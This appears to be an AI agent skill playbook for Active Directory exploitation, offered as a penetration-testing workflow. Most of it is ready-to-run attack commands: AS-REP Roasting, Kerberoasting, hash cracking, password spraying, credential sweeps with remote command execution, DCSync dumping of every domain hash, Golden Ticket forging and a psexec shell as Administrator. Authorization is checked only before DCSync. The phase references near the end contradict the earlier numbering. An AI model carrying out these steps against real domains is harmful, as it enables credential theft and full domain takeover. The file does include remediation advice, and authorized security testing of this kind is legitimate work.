Ad Exploitation

AD Exploitation — Credential Attacks & Domain Domination

Architecture

scripts/
├── common_ad.sh    # Shared functions (logging, has_tool, phase_done, emit_summary)
└── ad_attacks.sh   # PHASES 1-3: credential attacks, network sweep, DCSync

Initial Setup — Context from ad-recon

Point to the output directory from a prior ad-recon run when available:

DC_IP="10.10.10.100"
DOMAIN="corp.local"
USERNAME=""        # leave empty to start with unauthenticated attacks (AS-REP Roasting)
PASSWORD=""
NTLM_HASH=""       # format: LM:NT or :NT

# ad-recon output directory (feeds users.txt, asrep_hashes.txt, kerberoast_hashes.txt)
RECON_OUT="$(pwd)/corp-local"

OUT="$(pwd)/corp-local-exploit"
SCRIPTS="$HOME/.claude/skills/ad-exploitation/scripts"

mkdir -p "$OUT"/{hashes,tickets,loot,enum}

# Link or copy recon files so scripts can find them
[ -d "$RECON_OUT" ] && {
  cp -n "$RECON_OUT/enum/users.txt"             "$OUT/enum/users.txt"         2>/dev/null || true
  cp -n "$RECON_OUT/hashes/asrep_hashes.txt"    "$OUT/hashes/asrep_hashes.txt" 2>/dev/null || true
  cp -n "$RECON_OUT/hashes/kerberoast_hashes.txt" "$OUT/hashes/kerberoast_hashes.txt" 2>/dev/null || true
}

If no prior ad-recon was run, ask the user for DC_IP, DOMAIN, and a users.txt before proceeding.

Create progress tasks with TaskCreate:

"PHASE 1 — Credential Attacks (AS-REP Roasting, Kerberoasting, hash cracking)"
"PHASE 2 — Credential Validation Sweep (CME across subnet)"
"PHASE 3 — Domain Domination (DCSync, Golden Ticket)"
"PHASE 4 — Lateral Movement & Persistence"
"PHASE 5 — Report"

Tool Priority

1. CLI — always first

impacket-GetNPUsers     — AS-REP Roasting (unauthenticated)
impacket-GetUserSPNs    — Kerberoasting (requires valid creds)
hashcat > john          — hash cracking
crackmapexec / netexec  — credential sweep, pass-the-hash validation
evil-winrm              — WinRM shell
impacket-psexec         — SMB shell (admin share)
impacket-smbexec        — SMB shell (no admin share needed)
impacket-secretsdump    — DCSync, LSA dump
impacket-ticketer       — Golden / Silver Ticket generation
kerbrute                — password spraying (warn about lockout first)
xfreerdp / rdesktop     — RDP access

2. MCPs (when available)

mcp__hexstrike-ai__*    — netexec_scan, hashcat_crack, john_crack, metasploit_run
mcp__Notion__*          — publish final report

Operational Rules

• Always check $RECON_OUT/enum/users.txt before running AS-REP Roasting — it's the main input
• Password spraying: always enumerate lockout policy first (net accounts /domain or enum4linux output); default to 1 attempt per user
• Store all obtained credentials — cleartext passwords and hashes are evidence of exploitation
• DCSync is highly privileged — warn user, confirm authorization before running
• Kerberos clock skew: if Kerberos errors occur, sync with sudo ntpdate $DC_IP
• Windows commands (PowerShell, Rubeus, Mimikatz): present clearly labeled as "run on Windows target"

PHASE 1 — Credential Attacks

bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" --phase=1
# With credentials (for Kerberoasting):
bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$PASSWORD" --phase=1

3.1 AS-REP Roasting — no credentials required

Uses $OUT/enum/users.txt (from ad-recon). Identifies accounts with UF_DONT_REQUIRE_PREAUTH.

impacket-GetNPUsers "$DOMAIN/" \
  -no-pass -usersfile "$OUT/enum/users.txt" \
  -dc-ip "$DC_IP" -format hashcat \
  -outputfile "$OUT/hashes/asrep_hashes.txt"

If hashes found → crack immediately (step 3.3).

3.2 Kerberoasting — requires valid domain credentials

impacket-GetUserSPNs "$DOMAIN/$USERNAME:$PASSWORD" \
  -dc-ip "$DC_IP" -outputfile "$OUT/hashes/kerberoast_hashes.txt"
# With hash:
impacket-GetUserSPNs "$DOMAIN/$USERNAME" -hashes "$NTLM_HASH" \
  -dc-ip "$DC_IP" -outputfile "$OUT/hashes/kerberoast_hashes.txt"

3.3 Hash Cracking

ROCKYOU=$(find rockyou.txt in /usr/share/wordlists or ~/wordlists)

# AS-REP (mode 18200)
hashcat -m 18200 "$OUT/hashes/asrep_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/asrep_cracked.txt"

# Kerberoast (mode 13100)
hashcat -m 13100 "$OUT/hashes/kerberoast_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/kerberoast_cracked.txt"

# NTLM (mode 1000)
hashcat -m 1000 "$OUT/hashes/ntlm_hashes.txt" "$ROCKYOU" --force -o "$OUT/hashes/ntlm_cracked.txt"

Fallback to john if hashcat not available.

3.4 Password Spraying (only after checking lockout policy)

# Check lockout policy first (from ad-recon enum4linux output or:)
rpcclient -U "" -N "$DC_IP" -c "querydominfo" 2>/dev/null | grep -i "lockout"

# Spray with kerbrute (1 attempt per user — safe default)
kerbrute passwordspray -d "$DOMAIN" --dc "$DC_IP" "$OUT/enum/users.txt" "Password123"

PHASE 2 — Credential Validation Sweep

Given valid credentials (cleartext or NTLM hash), validate across the full subnet.

bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$CREDENTIAL" --phase=2

What it runs:

• crackmapexec/netexec SMB sweep of /24 — identifies hosts where creds are valid + admin access (Pwn3d!)
• crackmapexec/netexec WinRM sweep — identifies hosts accessible via evil-winrm
• Outputs: $OUT/enum/cme_sweep.txt, $OUT/enum/admin_hosts.txt, $OUT/enum/cme_winrm.txt

Read JSON summary. Flag (Pwn3d!) hosts — they are the entry points for ad-postexploitation.

Quick access validation (do not establish full sessions here — that belongs in ad-postexploitation):

# Just validate — confirm access, don't run full lateral movement yet
$CME smb "$TARGET_IP" -u "$USERNAME" -H "$NT_HASH" -x "whoami"

PHASE 3 — Domain Domination

DCSync — dump all domain hashes

bash "$SCRIPTS/ad_attacks.sh" "$DC_IP" "$DOMAIN" "$OUT" "$USERNAME" "$CREDENTIAL" --phase=3

# Requires Domain Admin OR DCSync rights (GetChanges + GetChangesAll on domain object)
impacket-secretsdump "$DOMAIN/$USERNAME:$PASSWORD@$DC_IP" -just-dc-ntlm \
  | tee "$OUT/loot/dcsync_hashes.txt"
# With hash:
impacket-secretsdump "$DOMAIN/$USERNAME@$DC_IP" -hashes "$NTLM_HASH" -just-dc-ntlm \
  | tee "$OUT/loot/dcsync_hashes.txt"

# Extract key hashes
grep -i "krbtgt"       "$OUT/loot/dcsync_hashes.txt" | head -1 > "$OUT/loot/krbtgt_hash.txt"
grep -i "administrator" "$OUT/loot/dcsync_hashes.txt" | head -1 > "$OUT/loot/admin_hash.txt"

Golden Ticket

# Requires: krbtgt NTLM hash + domain SID (from DCSync output)
KRBTGT_HASH=$(cat "$OUT/loot/krbtgt_hash.txt" | cut -d: -f4)
DOMAIN_SID=$(impacket-getPac "$DOMAIN/$USERNAME:$PASSWORD@$DC_IP" 2>/dev/null | grep "Domain SID" | awk '{print $NF}')

impacket-ticketer -nthash "$KRBTGT_HASH" -domain-sid "$DOMAIN_SID" -domain "$DOMAIN" Administrator
export KRB5CCNAME="Administrator.ccache"
impacket-psexec -k -no-pass "$DOMAIN/Administrator@$DC_HOSTNAME"

Silver Ticket

# Requires: service account NTLM hash + domain SID + SPN
impacket-ticketer -nthash "$SVC_HASH" -domain-sid "$DOMAIN_SID" -domain "$DOMAIN" \
  -spn "cifs/$TARGET_HOSTNAME" Administrator

BloodHound Attack Paths (if data collected in ad-recon)

# Import $RECON_OUT/bloodhound/*.zip into BloodHound GUI
# Key Cypher queries to prioritize attacks:
#   Shortest Paths to Domain Admins
#   Find Principals with DCSync Rights
#   Kerberoastable Users with path to DA
#   Computers with Unconstrained Delegation

BloodHound identifies the most efficient paths from cracked accounts to Domain Admin. Lateral movement, ACL abuse, delegation attacks, and privilege escalation are handled in ad-postexploitation.

PHASE 4 — Handoff to ad-postexploitation

Once Phase 4 identifies hosts where credentials are valid (admin_hosts.txt) and Phase 5 obtains the krbtgt hash, pass all context to ad-postexploitation:

POSTEX_CONTEXT="
  DC_IP=$DC_IP
  DOMAIN=$DOMAIN
  USERNAME=$USERNAME  (or cracked account)
  NT_HASH=$NT_HASH
  ADMIN_HOSTS=$OUT/enum/admin_hosts.txt
  WINRM_HOSTS=$OUT/enum/cme_winrm.txt
  KRBTGT_HASH=$(cat $OUT/loot/krbtgt_hash.txt 2>/dev/null)
  BLOODHOUND_ZIP=$RECON_OUT/bloodhound/
"
# Load ad-postexploitation skill with this context

PHASE 5 — Report

## AD EXPLOITATION REPORT — [DOMAIN] — [DATE]
## DC: $DC_IP  |  Recon: $RECON_OUT  |  Output: $OUT

### Access Achieved
- Domain Admin: [Yes/No]
- Accounts compromised: [list with method]
- Hosts with admin access: [count]

### Critical Findings
1. [CRITICAL] Domain Admin achieved via: [attack path]
2. [CRITICAL] DCSync completed — krbtgt hash obtained
3. [CRITICAL] AS-REP Roastable accounts: [list + cracked passwords]
4. [HIGH] Kerberoastable accounts: [list + cracked passwords]
5. [HIGH] Pass-the-hash successful on: [host list]
6. [MEDIUM] Password spraying: [accounts found]

### Attack Path Summary
[Step-by-step narrative from initial foothold to Domain Admin]

### Persistence Mechanisms
[List backdoors, created accounts, Golden Tickets — with cleanup instructions]

### Remediation
- Enforce pre-auth on all accounts (eliminates AS-REP Roasting)
- Use strong, unique passwords for service accounts (mitigates Kerberoasting)
- Enable SMB signing (prevents relay attacks)
- Audit and restrict DCSync rights
- Rotate krbtgt password twice (invalidates Golden Tickets)
- Review BloodHound attack paths and break privilege chains

If Notion MCP is available, publish with mcp__Notion__notion-create-pages.

Evidence Capture

Capture evidence from every completed attack phase. Essential for the AD exploitation report.

mkdir -p "$OUT/evidence"

# Terminal screenshot (macOS)
screencapture -x "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$DESCRIPTION.png"

# Terminal screenshot (Linux)
scrot "$OUT/evidence/exploit_$(date +%Y%m%d_%H%M%S)_$DESCRIPTION.png"

# Full attack session log
script -q -a "$OUT/evidence/attack_session_$(date +%Y%m%d_%H%M%S).log"

What to capture per phase:

• Phase 1 — AS-REP Roasting: GetNPUsers command + list of hashes obtained (before cracking)
• Phase 1 — Hash cracking: hashcat output showing Status: Cracked with the cracked passwords
• Phase 1 — Password Spraying: kerbrute output confirming valid accounts found
• Phase 2 — CME Sweep: netexec/crackmapexec output with (Pwn3d!) visible for compromised hosts
• Phase 3 — DCSync: full secretsdump output with extracted hashes — proof of total domain compromise
• Phase 3 — Golden Ticket: impacket-ticketer generating the ticket + psexec with -k confirming access as Administrator

Submit to Notion:

mcp__Notion__notion-create-pages  — create AD exploitation page per attack phase
mcp__Notion__notion-update-page   — attach screenshots per phase (CME Pwn3d, DCSync, Golden Ticket)

MCP Integration (when available)

hexstrike-ai / Kali MCP (mcp__hexstrike-ai__*)

Use for: netexec_scan, hashcat_crack, john_crack, smbmap_scan, responder_credential_harvest.

Notion (mcp__Notion__*)

Publish final report. Link to ad-recon report page. Create subpage per critical finding.

Execution Modes

Operational Notes

• Recon linkage: always check $RECON_OUT/enum/users.txt and $RECON_OUT/hashes/ before running — ad-recon may have already collected AS-REP hashes
• NTLM hash format: impacket accepts LM:NT or :NT (pad LM with aad3b435b51404eeaad3b435b51404ee:)
• Token efficiency: scripts emit only JSON summaries — do not print full tool output to Claude context
• BloodHound: run key queries before manual attack attempts — saves time by identifying the shortest paths